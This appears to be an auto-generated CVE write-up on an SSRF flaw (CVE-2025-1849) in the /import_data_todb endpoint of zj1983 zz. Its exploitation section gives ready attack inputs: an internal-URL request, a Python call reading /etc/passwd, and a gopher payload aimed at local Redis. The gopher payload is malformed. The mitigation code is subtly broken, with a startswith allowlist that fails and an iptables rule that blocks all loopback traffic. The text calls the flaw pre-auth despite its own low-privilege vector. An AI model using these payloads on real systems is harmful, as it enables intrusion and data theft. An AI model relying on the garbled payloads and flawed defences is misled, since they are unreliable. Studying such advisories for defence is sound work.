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How CVE-2025-1849 Works
The vulnerability in zj1983 zz (up to version 2024-8) allows attackers to perform Server-Side Request Forgery (SSRF) via the `/import_data_todb` endpoint. By manipulating the `url` parameter, an attacker can force the server to make arbitrary HTTP requests to internal or external systems. This occurs due to insufficient validation of user-supplied input in the URL handling function. The SSRF flaw enables unauthorized access to sensitive data, internal service enumeration, or even remote code execution if the server processes malicious responses. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms the attack is network-based, requires low privileges, and has no user interaction.
DailyCVE Form
Platform: zj1983 zz
Version: <= 2024-8
Vulnerability: SSRF
Severity: Critical
Date: 05/25/2025
Prediction: Patch by 2025-07-15
What Undercode Say:
Exploitation
1. Craft malicious URL:
POST /import_data_todb HTTP/1.1 Host: target.com url=http://internal-server/admin
2. Exfiltrate data:
import requests
response = requests.post("http://target.com/import_data_todb", data={"url":"file:///etc/passwd"})
3. Chain with RCE:
url=gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0aeval<cmd>
Protection
1. Input validation:
ALLOWED_DOMAINS = ["trusted.com"]
if not any(url.startswith(domain) for domain in ALLOWED_DOMAINS):
raise ValueError("Invalid URL")
2. Network hardening:
iptables -A OUTPUT -d 127.0.0.1 -j DROP
3. Patch mitigation:
location /import_data_todb {
deny all;
}
Detection
1. Log monitoring:
grep "import_data_todb" /var/log/nginx/access.log | grep -Ev "url=https://trusted"
2. WAF rules:
{
"rule": "block_ssrf",
"conditions": [{"field": "url", "op": "contains", "value": "file://"}]
}
Analytics
- Exploitability: High (public PoC available)
- Affected systems: Internal APIs, cloud metadata
- Mitigation urgency: Critical (pre-auth attack vector)
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
